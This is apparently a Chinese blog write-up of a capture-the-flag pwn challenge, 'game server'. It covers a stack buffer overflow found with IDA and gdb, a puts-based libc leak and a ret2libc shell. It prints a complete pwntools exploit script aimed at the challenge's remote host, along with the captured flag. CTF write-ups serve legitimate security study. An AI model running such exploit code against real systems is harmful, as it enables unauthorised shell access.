ZoE

个人站

Pwn的挖坑填坑之旅


game server

game server

操作内容:

首先IDA分析程序,发现有三个输入的地方,但是前面两个都是最多输入256字节大小的字符,并且内容都是用一个指针来指向的,所以并没有出现有溢出点,但是最后输入introduction的时候是用read输入前面snprintf成功读取的字节数,这读取字节数的可控性,而且s又是放在栈上的,这就造成了溢出,如下图:

gdb调试找偏移地址的整个过程:

以发现返回地址:

这时断在read函数,ni单步执行输入introduction的内容,发现可以输入的字节数完全可以覆盖返回地址,远不止255个字符:

gdb调试用pattern计算得到eip的距离为277

read后面0x08048794下断点,然后gdb调试: 看到地址已经被成功覆盖为puts_plt表的地址,如图:

payload = "C"*277 + p32(puts_plt) + p32(main) + p32(libc_start_main_got)
p.sendline(payload)

然后在接收相应的地址的时候出了问题,发现直接payload后面设置标志来接收后面部分都是出现一大堆乱七八糟的东西,最后找到原因是最后return是一个printf函数,用于打印整个用户信息:

要准确在其后面接收信息,发现后面有个换行符,再加上我用的sendline来send的payload,所以直接p.recvuntil("\n\n")就可以成功接收到payload了

计算pattern:

pattern create 300:

continue输入pattern,发现他断下来报错,那是因为ret是一个不存在的地址而导致的:

得到EIP偏移为277

然后接收到libc地址后(泄露libc地址),再通过网站https://libc.blukat.me/或者用libc-database来找对应版本的libc库,最后注意ret地址要是主界面的那个子程序(0x08048637),这样可以保持栈平衡,最后再一次ret2libc来执行system来getshell就ok了

脚本如下:

from pwn import *
from LibcSearcher import *
elf = ELF('./pwn2')
#p = process('./pwn2')
p = remote('123.59.138.180',20000)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
print hex(libc_start_main_got)
print hex(puts_got)
print p.recvuntil("First, you need to tell me you name?")
p.sendline("A"*255)
#print p.recvuntil("What's you occupation?")
#p.sendline("B"*255)
print p.recvuntil("[Y/N]")
p.sendline('Y')
main = 0x08048637
#payload = "C"*277 + p32(puts_plt) + p32(main) + p32(puts_got)
payload = "C"*277 + p32(puts_plt) + p32(main) + p32(libc_start_main_got)
pause()
p.sendline(payload)
p.recvuntil("\n\n")
libc_start_main_addr  = u32(p.recv(4))
print hex(libc_start_main_addr)
pause()
libc_base = libc_start_main_addr - 0x018540
system_addr = libc_base + 0x03a940
binsh_addr = libc_base + 0x15902b
log.info("libc_base addr " + hex(libc_base))
log.info("system_addr addr " + hex(system_addr))
log.info("binsh_addr addr " + hex(binsh_addr))


print p.recvuntil("First, you need to tell me you name?")
p.sendline("A"*255)
print p.recvuntil("[Y/N]")
p.sendline('Y')
payload_getshell = "C"*277 + p32(system_addr) + p32(0) + p32(binsh_addr)
p.sendline(payload_getshell)
p.interactive()

#EIP+0 found at offset: 277
#EBP+0 found at offset: 273

FLAG值:

flag{f3b92d795c9ee0725c160680acd084d9}

打赏一个呗

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦